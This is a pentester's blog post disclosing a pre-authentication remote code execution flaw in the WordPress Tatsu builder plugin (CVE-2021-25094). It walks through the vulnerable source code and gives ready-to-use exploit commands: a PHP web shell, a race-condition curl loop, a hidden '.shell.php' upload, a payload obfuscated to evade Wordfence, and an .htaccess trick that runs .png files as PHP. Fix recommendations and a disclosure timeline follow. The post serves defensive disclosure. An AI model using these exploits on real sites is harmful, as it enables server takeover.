@darkpills cybersecurity blog

Sharing knowledge and experiments on cyber security topics.

Wordpress Tatsu builder preauth RCE (CVE-2021-25094)

An unrestricted file upload in Wordpress Tatsubuilder plugin version <= 3.3.11 enables an unauthenticated attacker to perform a remote code execution (RCE) on the server host due to multiple weaknesses in font import feature and put 100,000 websites at risk.

The add_custom_font action can be used by anonymous users to upload a rogue zip file which is uncompressed under the public wordpress upload directory. By adding a PHP shell to the zip, with a filename starting with a dot “.”, an attacker can bypass the plugin’s extension control. Moreover, there is a race condition in the zip extraction process which makes the shell file live long enough on the filesystem to be callable by an attacker.

Introduction

As a security professional, I was missioned to audit in a black box scenario a corporate website running Wordpress. Tatsu theme was detected by wpscan with no previous public vulnerability. Tatsu theme is actually not a theme but an extension. So, I decided to download it for a manual source code audit.

Wordpress is one of the most popular opensource content management system (CMS). It is used by 41% of websites in the world thanks to a rich plugin library.

Tatsu builder (simply called “Tatsu”) is a wordpress plugin edited by BrandExponents and deployed on around 100,000 websites. Tatsu is a website template editor directly integrated in the browser: layout, text, buttons, images, styling, responsiveness, pre-built templates, inline text edition…

Tatsu builder presentation

Tatsu embeds a sub-plugin called “Typehub” also edited by the same company BrandExponents. However, Typehub cannot be downloaded as a standalone plugin and is only shipped with Tatsu (to my knowledge). Typehub plugin is used to control the typography of various elements across the site.

It implements a font import feature to enable web designers and administrators to customize the global website font style. A zip archive containing fonts artifacts (ttf, woff, html, css…), can be uploaded through the backoffice menu: Tatsu > Type Hub > Custom Fonts > Upload webfont kit:

Font import feature

As you will see in the rest of the article, any plugin embedding Typehub is potentially affected by the vulnerabilities.

Vulnerabilities

Vulnerability 1: Unauthenticated font import

Wordpress extensions can declare their own admin ajax controllers by using the Wordpress API add_action($hook_name, $callable), with $callable the PHP function to callback (see here). $hook_name is in the form of wp_ajax_<key>. However, when $hook_name starts with wp_ajax_nopriv_<key>, it can be called without authentication to the backoffice.

Tatsu declares some of its admin ajax actions in the file includes/typehub/includes/class-typehub.php. We notice 1 call callback ajax_add_custom_font declaired twice:

  • wp_ajax_nopriv_add_custom_font
  • wp_ajax_add_custom_font
private function define_ajax_hooks() {
	$plugin_store = new Typehub_Store();
	$this->loader->add_action( 'wp_ajax_typehub_save_store', $plugin_store, 'ajax_save' );
	$this->loader->add_action( 'wp_ajax_load_typekit_fonts', $plugin_store, 'ajax_get_typekit_fonts' );
	$this->loader->add_action( 'wp_ajax_local_font_details', $plugin_store, 'ajax_get_local_font_details' );
	$this->loader->add_action( 'wp_ajax_download_font', $plugin_store, 'ajax_download_font' );
	$this->loader->add_action( 'wp_ajax_refresh_changes', $plugin_store, 'ajax_refresh_changes' );
	$this->loader->add_action( 'wp_ajax_sync_typekit', $plugin_store, 'ajax_sync_typekit' );
	$this->loader->add_action( 'wp_ajax_add_custom_font', $plugin_store, 'ajax_add_custom_font' );
	$this->loader->add_action( 'wp_ajax_nopriv_add_custom_font', $plugin_store, 'ajax_add_custom_font' );
	$this->loader->add_action( 'wp_ajax_remove_custom_font', $plugin_store, 'ajax_remove_custom_font' );
}

Thus, ajax_add_custom_font action can be both accessed unauthenticated and authenticated. This is pretty surprising, since it’s a backoffice feature. We want no anonymous users to be able to upload new fonts?

To call the action, we can issue the following request:

curl -i -X POST -d"action=add_custom_font" https://wordpress.com/wp-admin/admin-ajax.php

Vulnerability 2: Race Condition in file upload

Tatsu font import feature works roughly like this:

  1. Zip filename is taken to determine if wp-content/uploads/typehub/custom/<zipFilenameWithout.zip>/ exists
  2. If not the zip file is moved from temp dir to if wp-content/uploads/<year>/<month>/
  3. Zip file is unzipped in if wp-content/uploads/typehub/custom/<zipFilenameWithout.zip>/
  4. The content of the directory is listed and extensions are compared with a whitelist .otf, .ttf, .woff, .woff2, .svg, .eot, .html, .css.
  5. If there are any number of non-matching files, the zip file and the directory content is recursively deleted
  6. If OK, it returns OK and only the zip file is deleted.

The action ajax_add_custom_font is implemented in includes/typehub/includes/class-typehub-store.php with the function add_custom_font(). The following source code contains the upload sequence:

public function ajax_add_custom_font(){
    $filename = $_FILES["file"]["name"];
    $filebasename = basename($filename, '.zip');
    $temp_file = explode('(',$filebasename);
    $filebasename = trim(array_shift($temp_file));
    $filebasename = strtolower($filebasename);
    $upload_dir = wp_upload_dir();
    $typehub_font_dir = $upload_dir['basedir'] . '/'. 'typehub/custom/'. $filebasename .'/';
    $typehub_font_url = $upload_dir['baseurl'] . '/'. 'typehub/custom/'. $filebasename .'/styles.css';
    
    if( file_exists( $typehub_font_dir ) ){
        $result = array(
            'status' => 'file already exists'
        );
        echo json_encode($result);
        wp_die();
    }

    $upload = wp_upload_bits($filename, null, file_get_contents($_FILES["file"]["tmp_name"]));
    
    $access_type = get_filesystem_method();
    if( empty( $upload['error'] ) ){

        if( $access_type !== 'direct' ){
            $result = array(
                'status' => 'write permission denied'
            );
            echo json_encode($result);
            wp_die();
        }

And the most interesting part of the algorithm:

global $wp_filesystem;
if ( empty( $wp_filesystem ) ) {
    require_once ( ABSPATH.'/wp-admin/includes/file.php' );
    WP_Filesystem();
}

$zip_handle = unzip_file($upload['file'], $typehub_font_dir );

if( !is_wp_error( $zip_handle ) ){
    $zip_content = list_files( $typehub_font_dir, 1 );
    $compatible_formats = array('.otf','.ttf','.woff','.woff2','.svg','.eot','.html','.css');
    $count = 0;
    foreach( $zip_content as $item){
        foreach( $compatible_formats as $format ){
            $endsWith = substr_compare( $item, $format, -strlen( $format ) ) === 0;
            if($endsWith){
                $count++;
            }
        }
    }

    if( $count === count($zip_content) ){
        $result = array(
            'status' => 'success',
            'url'  => $typehub_font_url,
            'name' => $filebasename
        );
        wp_delete_file($upload['file']);
    } else {
        $result = array(
            'status' => 'invalid_zip'
        );
        wp_delete_file($upload['file']);
        $wp_filesystem->rmdir( $typehub_font_dir, true );
    }

Root causes of the issue are:

  • Uploaded file is moved and analyzed under a public accessible part of the web root.
  • The zip is extracted and then its content is controlled. So every files inside touches the disk in a part of the web root which is accessible by remote users under the upload directory.

So between the line 171 where the file is unzipped,

$zip_handle = unzip_file($upload['file'], $typehub_font_dir );

and line 198 where the files are deleted,

$wp_filesystem->rmdir( $typehub_font_dir, true );

there is a small time frame where the zip files are accessible and exist in the directory. This can be abused to make a lot of HTTP call to a malicious PHP until having a positive response. However, the attacker must do the “race” with the server aka “Race condition vulnerability”.

This type of vulnerability is categorized as CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization (‘Race Condition’). The improper synchronization here is the filesystem and the web server threads that can access it, even though the initial zip validation processing is not over.

To raise the chance of calling the file, the attacker can make the unzip operation slower than expected by uploading a zip containing a huge number of files. Files extraction, but also tests over file extensions, will take more time. The tests I did shows a good success rate with around 10 000 small files in the archive. The attacker should not include big files as the zip archive will be too heavy and will hit the upload max file size of the webserver.

So, to exploit the vulnerability, we need a shell and 10 000 dummy files for instance:

echo "<?php echo shell_exec($_REQUEST['c']); ?>" > tatsu-shell.php

for i in `seq 1 10000`; do 
    echo $RANDOM | md5sum | head -c 30 > "tatsu-$i.txt"
done

zip -qqr "tatsu.zip" tatsu-*

We start a loop to call in parallel the shell file that will be uploaded:

while true; do
    code=$(curl -s -w "%{http_code}" -o result "https://wordpress.com/wp-content/uploads/typehub/custom/tatsu/tatsu-shell.php?c=id")
    if [ $code -eq 200 ]; then
        cat result
        break
    fi
    echo -n "."
done

Then we just need to upload the zip file:

curl -i https://wordpress.com/wp-admin/admin-ajax.php -F "action=add_custom_font" -F "file=@tatsu.zip"

A python version of the race condition exploit is provided here for information: https://github.com/darkpills/CVE-2021-25094-tatsu-preauth-rce/blob/main/exploit-race.py

Vulnerability 3: RCE through unverified hidden files

However, things are getting even worse with a 3rd vulnerability… a direct RCE that does not rely on a race condition.

Extension file check uses a Wordpress function API named “list_files()":

function list_files( $folder = '', $levels = 100, $exclusions = array() ) {

    if ( empty( $folder ) ) {
        return false;
    }

    $folder = trailingslashit( $folder );

    if ( ! $levels ) {
        return false;
    }

    $files = array();

    $dir = @opendir( $folder );

    if ( $dir ) {
        while ( ( $file = readdir( $dir ) ) !== false ) {
            // Skip current and parent folder links.
            if ( in_array( $file, array( '.', '..' ), true ) ) {
                continue;
            }

            // Skip hidden and excluded files.
            if ( '.' === $file[0] || in_array( $file, $exclusions, true ) ) {
                continue;
            }

            if ( is_dir( $folder . $file ) ) {
                $files2 = list_files( $folder . $file, $levels - 1 );
                if ( $files2 ) {
                    $files = array_merge( $files, $files2 );
                } else {
                    $files[] = $folder . $file . '/';
                }
            } else {
                $files[] = $folder . $file;
            }
        }

        closedir( $dir );
    }

    return $files;
}

By digging into this function, we realize that hidden files contained in the directory are skipped and not returned. Those files begin with a “.":

// Skip hidden and excluded files.
if ( '.' === $file[0] || in_array( $file, $exclusions, true ) ) {
    continue;
}

So what if, as an attacker, we include a hidden “.shell.php” file in the uploaded zip? The extension loop will not test the file and will return an OK with a loop count of 0 uploaded files.

Then, the shell PHP can be called with 1 request instead of many with the race condition exploit. This significantly improve the exploit stability and simplicity.

So, the exploit can be shortened like this:

echo "<?php echo shell_exec($_REQUEST['c']); ?>" > .shell.php

zip -qqr "tatsu.zip" .shell.php

curl -i https://wordpress.com/wp-admin/admin-ajax.php -F "action=add_custom_font" -F "file=@tatsu.zip"

curl -i "https://wordpress.com/wp-content/uploads/typehub/custom/tatsu/.shell.php?c=id"

A more advanced python exploit is also provided here for information: https://github.com/darkpills/CVE-2021-25094-tatsu-preauth-rce/blob/main/exploit-rce.py

Other vulnerabilities worth mentioning

Other security flaws have been identified on the file upload feature:

  • Uncompressed uploaded file size is not checked before extraction. An attacker could conduct a zip bomb attack.
  • Uploaded file extension is not checked. It can be zip or anything else accepted by wordpress wp_upload_bits() function.
  • Uploaded file zip content is not checked, at least first magic bytes with mime_content_type(), and much better would be with a deep content analysis library.
  • SVG, HTML and CSS file extensions are whitelisted, which enables to upload arbitrary HTML files that may trigger stored XSS vulnerability.

Exploit development notes

A simple Wordfence bypass

The first time the exploit was tested on the corporate website, it triggered a Wordfence plugin alert because of a plain shell_exec function that appeared in the zip content, itself in the php shell.

Then, a simple obfuscation technique was applied to mask system function string and use array_filter(), encouraged with a blog post of 2018 here. Indeed, I did not have to go as far as techniques described here.

I raised the zip compression ratio to the maximum (level 9) to avoid that PHP code appears to easily in the HTTP body request.

Then, I encoded the command executed in base64 to avoid easy detection in Wordfence, but if I were less lazy, I could have used another less common encoding like base58 or other :-p

The final payload looks like this:

$f = "lmeyst";
@$a= $f[4].$f[3].$f[4].$f[5].$f[2].$f[1];
@$words = array(base64_decode($_POST['text']));
$j="array"."_"."filter";
@$filtered_words = $j($words, $a);

Finally, to avoid easy fingerprinting, I also generated randomly the file names and zip filename. It can still be fingerprinted with calls to upload directories like:

https://.*/wp-content/uploads/typehub/custom/.*

The “.htaccess” strategy

In the RCE exploit, the second HTTP call to the file .shell.php can be easily detected and forbidden by rewrite rules in webserver or reverse proxy. Why would any content editor put PHP files in wp-content/uploads directory?

For this reason, I implemented a second exploit technique with an upload of .htaccess in case the webserver has a AllowOverride All directives which enables the processing of .htaccess files in the web root tree. Some times, Wordpress housing are mutualized and it is not uncommon to see enabled .htaccess directives to customize per customer the webserver behavior.

Then the .htaccess just declares the .png file types as eligible to PHP processor handling:

AddType application/x-httpd-php .png

Finally, the PHP shell is just renamed to .shell.png for instance which allows to bypass some network filtering rules.

Another option could be to upload a .htaccess that enables PHP engine on .htaccess files itself like here. However, calls to .htaccess are also suspicious and could be blocked by WAF.

Recommendations

The following recommendations were provided to the plugin’s editor which mostly come from OWASP File upload cheat sheet:

  1. High priority Analyze why font import should be accessible without authentication. If there is no reason, remove the nopriv in the add_action() declaration. If there is a reason, separate admin features from anonymous features and prevent any unauthenticated file upload anyway. This action mitigates most risks at short term and can be just a quick fix.

  2. Analyze uploaded archive directly from the PHP temp directory. List the archive content directly with ZipArchive::getNameIndex() without unziping it. https://www.php.net/manual/fr/ziparchive.getnameindex.php. Compare filenames with a whitelist as already done in the code. Prefer using PHP primitive pathinfo() to retrieve file extension: https://www.php.net/manual/fr/function.pathinfo.php

  3. Control the zip file name extension with pathinfo() https://www.php.net/manual/fr/function.pathinfo.php

  4. Remove .svg, .html, .css extensions from whitelisted extensions in the zip.

  5. Control the total file size if the archive would be uncompressed file, to prevent zip bomb attacks by using ZipArchive::statIndex() iteratively on files. https://gist.github.com/Caffe1neAdd1ct/f2ece3705053b3e2ea4c https://www.php.net/manual/fr/ziparchive.statindex.php

  6. Restrict allowed characters in the zip filename and filename size. Validate it with regular expression like ^[a-zA-Z0-9\-\._]{1,32}\+\.zip$ https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html

  7. Control the zip file magic bytes with mime_content_type() function https://www.php.net/manual/fr/function.mime-content-type.php

Epilogue: when the fix is still vulnerable…

I did not have any news from the editor for months. WPScan manage to get in touch through another mean and got a new release 3.3.12 which is supposed to fix the issue.

I checked the new version and it is much much better:

  • The vulnerability is not preauthenticated anymore. The user needs to be authenticated to used the ajax_add_custom_font function. This is just a shame that 3 months have been necessary to comment 1 line:
    $this->loader->add_action( 'wp_ajax_add_custom_font', $plugin_store, 'ajax_add_custom_font' );
    //$this->loader->add_action( 'wp_ajax_nopriv_add_custom_font', $plugin_store, 'ajax_add_custom_font' );
  • The user must have the manage_options grant to execute the action, which is 90% of the time the wordpress admin:
public function ajax_add_custom_font(){
    check_ajax_referer( 'typehub-security', 'security' );
    $result = array();
    if(function_exists('current_user_can') && function_exists('wp_check_filetype') && current_user_can('manage_options')){
  • There is a zip introspection with ZipArchive class before unzipping.

However… The code is still vulnerable:

  • Zip introspection is made if and only if the ZipArchive is loaded:
if(class_exists('ZipArchive')){          // <=== check here
    //check file validation without unzip
    $zip = new ZipArchive;
    $res = $zip->open($upload['file']);
    // zip file introspection here
    // [...]
}

$zip_handle = unzip_file($upload['file'], $typehub_font_dir ); // <== unzip here

However, this is not the case in a default PHP installation. It requires php zip extension. So, in case zip extension is not installed, the plugin will still unzip an untrusted content without check. We come back to the initial vulnerability. To address this issue, editor can use the custom pure Wordpress PclZip class of Wordpress in wp-admin/includes/class-pclzip.php with method listContent() as a fallback in case php zip is not loaded. However, I do not know about the security of this class. Another solution is to return an error when trying to upload a zip, if ZipArchive class does not exist, and stating that this feature requires php zip extension to work.

  • The zip file is still moved under the wp-upload directory location with wp_upload_bits, but BEFORE making required security check :
$upload = wp_upload_bits($filename, null, file_get_contents($_FILES["file"]["tmp_name"]));

So, there is still a race condition: what if the attacker uploads a correct file, it will be checked, and during the check he uploads a 2nd rogue file with the same name, the 1st check will finish and unzip the rogue file instead of the good one. I did not check dynamically with an exploit and the time frame look really small. Also note that the unicity check on the file upload name will not help, since the folder is created lower in the code:

if( file_exists( $typehub_font_dir ) ){
  • There is a logic issue. The result of the zip file open is checked but there no else code block to handle the error.
if(class_exists('ZipArchive')){      
    $zip = new ZipArchive;
    $res = $zip->open($upload['file']);
    if($res === TRUE) {              // <=== check open result here
        // zip file introspection here
        // [...]
    } // no else here
}

// and finally unzip
$zip_handle = unzip_file($upload['file'], $typehub_font_dir );

As you can see, if $zip->open() returns an error for any reason, processing will continue and the file will still be unzipped.

To date, current version is 3.3.12 and is still vulnerable to the issues above but not preauth anymore.

Disclosure timeline

  • 2021-12-15: Vulnerability identification
  • 2021-12-24: Vulnerability reported to the vendor
  • 2021-12-27: CVE number assignment from wpscan
  • 2022-03-17: New release 3.3.12 from vendor, still vulnerable
  • 2022-03-28: Public disclosure

References

Vincent MICHEL (@darkpills)

I work as a pentester in a cyber security company. This blog aims at sharing my thoughts and experiments on different topics if it can help otheres: web and internal penetration tests, vulnerability research, write-ups, exploit development, security best practices, tooling, and so on... I previously worked as a senior software developer and switched to this wonderfull land of security :)